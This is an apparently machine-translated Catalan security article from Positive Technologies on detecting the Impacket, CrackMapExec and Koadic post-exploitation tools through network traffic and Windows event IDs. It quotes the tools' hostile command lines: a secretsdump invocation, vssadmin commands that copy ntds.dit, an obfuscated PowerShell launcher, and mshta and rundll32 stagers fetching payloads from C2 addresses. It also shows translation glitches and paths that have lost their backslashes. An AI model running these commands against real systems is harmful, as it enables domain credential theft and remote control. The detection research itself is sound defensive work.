Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics

El nombre d'atacs al sector corporatiu creix cada any: per exemple el 2017 es van registrar un 13% més d'incidències singulars que el 2016, i a finals del 2018 - Un 27% més d'incidènciesque en el període anterior. Incloent aquells on la principal eina de treball és el sistema operatiu Windows. El 2017-2018, l'APT Dragonfly, APT28, APT MuddyWater va dur a terme atacs contra organitzacions governamentals i militars a Europa, Amèrica del Nord i Aràbia Saudita. I hem utilitzat tres eines per a això: Paquet, CrackMapExec и Koadic. El seu codi font és obert i disponible a GitHub.

Val la pena assenyalar que aquestes eines no s'utilitzen per a la penetració inicial, sinó per desenvolupar un atac dins de la infraestructura. Els atacants les utilitzen en diferents etapes de l'atac després de la penetració del perímetre. Això, per cert, és difícil de detectar i sovint només amb l'ajuda de la tecnologia identificar rastres de compromís en el trànsit de la xarxa o eines que ho permetin detectar les accions actives d'un atacant després d'haver penetrat a la infraestructura. Les eines proporcionen una varietat de funcions, des de transferir fitxers fins a interaccionar amb el registre i executar ordres en una màquina remota. Hem realitzat un estudi d'aquestes eines per determinar la seva activitat en xarxa.

Què havíem de fer:

  • Entendre com funcionen les eines de pirateria. Descobriu què han d'explotar els atacants i quines tecnologies poden utilitzar.
  • Trobeu allò que no detecten les eines de seguretat de la informació en les primeres etapes d'un atac. La fase de reconeixement es pot saltar, ja sigui perquè l'atacant és un atacant intern, o bé perquè l'atacant està explotant un forat a la infraestructura que abans no es coneixia. Es fa possible restaurar tota la cadena de les seves accions, d'aquí el desig de detectar més moviment.
  • Elimineu els falsos positius de les eines de detecció d'intrusions. No hem d'oblidar que quan es detecten certes accions només a partir del reconeixement, són possibles errors freqüents. Habitualment a la infraestructura hi ha un nombre suficient de vies, indistinguibles de les legítimes a primera vista, per obtenir qualsevol informació.

Què ofereixen aquestes eines als atacants? Si es tracta d'Impacket, els atacants reben una gran biblioteca de mòduls que es poden utilitzar en diferents etapes de l'atac que segueixen després de trencar el perímetre. Moltes eines utilitzen mòduls d'Impacket internament, per exemple, Metasploit. Té dcomexec i wmiexec per a l'execució remota d'ordres, secretsdump per obtenir comptes de memòria que s'afegeixen des d'Impacket. Com a resultat, la detecció correcta de l'activitat d'aquesta biblioteca garantirà la detecció de derivats.

No és casualitat que els creadors hagin escrit "Powered by Impacket" sobre CrackMapExec (o simplement CME). A més, CME té una funcionalitat preparada per a escenaris populars: Mimikatz per obtenir contrasenyes o els seus hash, implementació de Meterpreter o agent Empire per a l'execució remota i Bloodhound a bord.

La tercera eina que vam triar va ser Koadic. És força recent, es va presentar a la conferència internacional de pirates informàtics DEFCON 25 el 2017 i es distingeix per un enfocament no estàndard: funciona mitjançant HTTP, Java Script i Microsoft Visual Basic Script (VBS). Aquest enfocament s'anomena viure de la terra: l'eina utilitza un conjunt de dependències i biblioteques integrades a Windows. Els creadors l'anomenen COM Command & Control o C3.

IMPACTE

La funcionalitat d'Impacket és molt àmplia, que va des del reconeixement dins de l'AD i la recollida de dades dels servidors MS SQL interns, fins a tècniques per obtenir credencials: es tracta d'un atac de retransmissió SMB i l'obtenció del fitxer ntds.dit que conté hash de contrasenyes d'usuari d'un controlador de domini. Impacket també executa ordres de forma remota mitjançant quatre mètodes diferents: WMI, Windows Scheduler Management Service, DCOM i SMB, i requereix credencials per fer-ho.

Abocador de secrets

Fem una ullada a secretsdump. Aquest és un mòdul que pot orientar tant les màquines d'usuari com els controladors de domini. Es pot utilitzar per obtenir còpies de les àrees de memòria LSA, SAM, SECURITY, NTDS.dit, de manera que es pot veure en diferents etapes de l'atac. El primer pas en el funcionament del mòdul és l'autenticació mitjançant SMB, que requereix la contrasenya de l'usuari o el seu hash per dur a terme automàticament l'atac Pass the Hash. A continuació ve una sol·licitud per obrir l'accés al Service Control Manager (SCM) i accedir al registre mitjançant el protocol winreg, mitjançant el qual un atacant pot esbrinar les dades de les sucursals d'interès i obtenir resultats mitjançant SMB.

A la Fig. 1 veiem com exactament quan s'utilitza el protocol winreg, l'accés s'obté mitjançant una clau de registre amb un LSA. Per fer-ho, utilitzeu l'ordre DCERPC amb el codi operatiu 15 - OpenKey.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 1. Obrint una clau de registre mitjançant el protocol winreg

A continuació, quan s'obté l'accés a la clau, els valors es guarden amb l'ordre SaveKey amb opcode 20. Impacket ho fa d'una manera molt específica. Desa els valors en un fitxer el nom del qual és una cadena de 8 caràcters aleatoris afegits amb .tmp. A més, la càrrega addicional d'aquest fitxer es produeix mitjançant SMB des del directori System32 (Fig. 2).

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 2. Esquema per obtenir una clau de registre des d'una màquina remota

Resulta que aquesta activitat a la xarxa es pot detectar mitjançant consultes a determinades branques del registre mitjançant el protocol winreg, noms específics, ordres i el seu ordre.

Aquest mòdul també deixa rastres al registre d'esdeveniments de Windows, de manera que és fàcil de detectar. Per exemple, com a resultat d'executar l'ordre

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Al registre de Windows Server 2016 veurem la següent seqüència de claus d'esdeveniments:

1. 4624 - Inici de sessió remot.
2. 5145: comprovació dels drets d'accés al servei remot winreg.
3. 5145 - comprovació dels drets d'accés als fitxers al directori System32. El fitxer té el nom aleatori esmentat anteriorment.
4. 4688: creació d'un procés cmd.exe que iniciï vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creant un procés amb l'ordre:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - creant un procés amb l'ordre:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - creant un procés amb l'ordre:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Com moltes eines de post-explotació, Impacket té mòduls per executar ordres de forma remota. Ens centrarem en smbexec, que proporciona un intèrpret d'ordres interactiu en una màquina remota. Aquest mòdul també requereix autenticació mitjançant SMB, ja sigui amb una contrasenya o un hash de contrasenya. A la Fig. A la figura 3 veiem un exemple de com funciona aquesta eina, en aquest cas és la consola de l'administrador local.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 3. Consola interactiva smbexec

El primer pas de smbexec després de l'autenticació és obrir l'SCM amb l'ordre OpenSCManagerW (15). La consulta és notable: el camp MachineName és DUMMY.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 4. Sol·licitud per obrir Service Control Manager

A continuació, es crea el servei mitjançant l'ordre CreateServiceW (12). En el cas de smbexec, podem veure la mateixa lògica de construcció d'ordres cada vegada. A la Fig. 5 verd indica paràmetres de comanda inalterables, groc indica què pot canviar un atacant. És fàcil veure que el nom del fitxer executable, el seu directori i el fitxer de sortida es poden canviar, però la resta és molt més difícil de canviar sense pertorbar la lògica del mòdul Impacket.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 5. Sol·liciteu la creació d'un servei mitjançant Service Control Manager

Smbexec també deixa rastres evidents al registre d'esdeveniments de Windows. Al registre de Windows Server 2016 per a l'intèrpret d'ordres interactiu amb l'ordre ipconfig, veurem la següent seqüència de claus d'esdeveniments:

1. 4697 — instal·lació del servei a la màquina de la víctima:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - creació del procés cmd.exe amb els arguments del punt 1.
3. 5145 - comprovació dels drets d'accés al fitxer __output al directori C$.
4. 4697 — instal·lació del servei a la màquina de la víctima.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - creació del procés cmd.exe amb els arguments del punt 4.
6. 5145 - comprovació dels drets d'accés al fitxer __output al directori C$.

Impacket és la base per al desenvolupament d'eines d'atac. Admet gairebé tots els protocols de la infraestructura de Windows i alhora té les seves pròpies característiques. Aquí hi ha sol·licituds winreg específiques i l'ús de l'API SCM amb la formació d'ordres característica, el format del nom de fitxer i la compartició SMB SYSTEM32.

CRACKMAPEXEC

L'eina CME està dissenyada principalment per automatitzar aquelles accions rutinàries que ha de realitzar un atacant per avançar dins de la xarxa. Et permet treballar conjuntament amb el conegut agent Empire i Meterpreter. Per executar ordres de manera encoberta, CME pot ofuscar-les. Mitjançant Bloodhound (una eina de reconeixement independent), un atacant pot automatitzar la cerca d'una sessió d'administrador de domini activa.

gos

Bloodhound, com a eina autònoma, permet un reconeixement avançat dins de la xarxa. Recull dades sobre usuaris, màquines, grups, sessions i es subministra com a script de PowerShell o fitxer binari. S'utilitzen protocols basats en LDAP o SMB per recopilar informació. El mòdul d'integració CME permet descarregar Bloodhound a la màquina de la víctima, executar i rebre les dades recollides després de l'execució, automatitzant així les accions al sistema i fent-les menys visibles. El shell gràfic de Bloodhound presenta les dades recollides en forma de gràfics, que us permeten trobar el camí més curt des de la màquina de l'atacant fins a l'administrador del domini.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 6. Interfície Bloodhound

Per executar-se a la màquina de la víctima, el mòdul crea una tasca mitjançant ATSVC i SMB. ATSVC és una interfície per treballar amb el Programador de tasques de Windows. CME utilitza la seva funció NetrJobAdd(1) per crear tasques a la xarxa. Un exemple del que envia el mòdul CME es mostra a la Fig. 7: Aquesta és una crida d'ordres cmd.exe i un codi ofuscat en forma d'arguments en format XML.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Fig.7. Creació d'una tasca mitjançant CME

Després que la tasca s'hagi enviat per a l'execució, la màquina de la víctima inicia el mateix Bloodhound, i això es pot veure al trànsit. El mòdul es caracteritza per fer consultes LDAP per obtenir grups estàndard, una llista de totes les màquines i usuaris del domini, i obtenir informació sobre les sessions d'usuaris actives mitjançant la sol·licitud NetSessEnum de SRVVSVC.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 8. Obtenció d'una llista de sessions actives via SMB

A més, el llançament de Bloodhound a la màquina d'una víctima amb l'auditoria activada s'acompanya d'un esdeveniment amb l'ID 4688 (creació del procés) i el nom del procés. «C:WindowsSystem32cmd.exe». El que és destacable són els arguments de la línia d'ordres:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

El mòdul enum_avproducts és molt interessant des del punt de vista de la funcionalitat i la implementació. WMI us permet utilitzar el llenguatge de consulta WQL per recuperar dades de diversos objectes de Windows, que és essencialment el que fa servir aquest mòdul CME. Genera consultes a les classes AntiSpywareProduct i AntiМirusProduct sobre les eines de protecció instal·lades a la màquina de la víctima. Per obtenir les dades necessàries, el mòdul es connecta a l'espai de noms rootSecurityCenter2, després genera una consulta WQL i rep una resposta. A la Fig. La figura 9 mostra el contingut d'aquestes peticions i respostes. Al nostre exemple, es va trobar Windows Defender.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 9. Activitat de xarxa del mòdul enum_avproducts

Sovint, l'auditoria WMI (Trace WMI-Activity), en els esdeveniments de la qual podeu trobar informació útil sobre consultes WQL, pot estar desactivada. Però si està habilitat, si s'executa l'script enum_avproducts, es desarà un esdeveniment amb l'ID 11. Conté el nom de l'usuari que ha enviat la sol·licitud i el nom a l'espai de noms rootSecurityCenter2.

Cadascun dels mòduls CME tenia els seus propis artefactes, ja fossin consultes WQL específiques o la creació d'un determinat tipus de tasca en un planificador de tasques amb ofuscació i activitat específica de Bloodhound a LDAP i SMB.

KOADIC

Una característica distintiva de Koadic és l'ús d'intèrprets de JavaScript i VBScript integrats a Windows. En aquest sentit, segueix la tendència de viure de la terra, és a dir, no té dependències externes i utilitza eines estàndard de Windows. Es tracta d'una eina de comandament i control complet (CnC), ja que després de la infecció s'instal·la un "implant" a la màquina, que permet controlar-la. Aquesta màquina, en terminologia koadica, s'anomena "zombi". Si no hi ha privilegis suficients per al funcionament complet per part de la víctima, Koadic té la capacitat d'augmentar-los mitjançant tècniques de bypass de control de comptes d'usuari (UAC).

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 10. Shell Koadic

La víctima ha d'iniciar la comunicació amb el servidor de comandament i control. Per fer-ho, ha de contactar amb un URI preparat prèviament i rebre el cos principal de Koadic mitjançant un dels stagers. A la Fig. La figura 11 mostra un exemple per al mshta stager.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 11. Inicialització d'una sessió amb el servidor CnC

A partir de la variable de resposta WS, queda clar que l'execució es produeix mitjançant WScript.Shell, i les variables STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE contenen informació clau sobre els paràmetres de la sessió actual. Aquest és el primer parell de sol·licitud-resposta en una connexió HTTP amb un servidor CnC. Les peticions posteriors estan directament relacionades amb la funcionalitat dels mòduls anomenats (implants). Tots els mòduls Koadic només funcionen amb una sessió activa amb CnC.

Mimikatz

De la mateixa manera que CME treballa amb Bloodhound, Koadic treballa amb Mimikatz com un programa independent i té múltiples maneres de llançar-lo. A continuació es mostra un parell de sol·licitud-resposta per descarregar l'implant Mimikatz.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 12. Transferir Mimikatz a Koadic

Podeu veure com ha canviat el format d'URI de la sol·licitud. Ara conté un valor per a la variable csrf, que és responsable del mòdul seleccionat. No facis cas al seu nom; Tots sabem que CSRF s'entén normalment de manera diferent. La resposta va ser el mateix cos principal de Koadic, al qual es va afegir codi relacionat amb Mimikatz. És bastant gran, així que mirem els punts clau. Aquí tenim la biblioteca Mimikatz codificada en base64, una classe .NET serialitzada que l'injectarà i arguments per llançar Mimikatz. El resultat de l'execució es transmet per la xarxa en text clar.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 13. Resultat d'executar Mimikatz en una màquina remota

Exec_cmd

Koadic també té mòduls que poden executar ordres de forma remota. Aquí veurem el mateix mètode de generació d'URI i les conegudes variables sid i csrf. En el cas del mòdul exec_cmd, s'afegeix codi al cos capaç d'executar ordres de l'intèrpret d'ordres. A continuació es mostra aquest codi contingut a la resposta HTTP del servidor CnC.

Com detectar atacs a la infraestructura de Windows: explorant les eines de pirates informàtics
Arròs. 14. Codi de l'implant exec_cmd

La variable GAWTUUGCFI amb l'atribut WS familiar és necessària per a l'execució de codi. Amb la seva ajuda, l'implant crida al shell, processant dues branques de codi: shell.exec amb el retorn del flux de dades de sortida i shell.run sense tornar.

Koadic no és una eina típica, però té els seus propis artefactes mitjançant els quals es pot trobar en trànsit legítim:

  • formació especial de sol·licituds HTTP,
  • utilitzant l'API winHttpRequests,
  • creant un objecte WScript.Shell mitjançant ActiveXObject,
  • cos executable gran.

La connexió inicial l'inicia el stager, de manera que és possible detectar la seva activitat mitjançant esdeveniments de Windows. Per a mshta, aquest és l'esdeveniment 4688, que indica la creació d'un procés amb l'atribut start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Mentre Koadic s'executa, podeu veure altres esdeveniments 4688 amb atributs que el caracteritzen perfectament:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Troballes

La tendència a viure de la terra està guanyant popularitat entre els delinqüents. Utilitzen les eines i els mecanismes integrats a Windows per a les seves necessitats. Estem veient que les eines populars Koadic, CrackMapExec i Impacket seguint aquest principi apareixen cada cop més als informes d'APT. El nombre de bifurcacions a GitHub per a aquestes eines també està creixent i n'apareixen de nous (ara ja n'hi ha un miler). La tendència està guanyant popularitat per la seva senzillesa: els atacants no necessiten eines de tercers; ja es troben a les màquines de les víctimes i els ajuden a evitar les mesures de seguretat. Ens centrem en l'estudi de la comunicació en xarxa: cada eina descrita anteriorment deixa les seves pròpies petjades en el trànsit de la xarxa; l'estudi detallat d'ells ens va permetre ensenyar el nostre producte Descobriment d'atac a la xarxa PT detectar-los, cosa que en última instància ajuda a investigar tota la cadena d'incidents cibernètics que els involucren.

Autors:

  • Anton Tyurin, cap del departament de serveis d'experts, Centre de seguretat expert de PT, Tecnologies positives
  • Egor Podmokov, expert, PT Expert Security Center, Positive Technologies

Font: www.habr.com

Afegeix comentari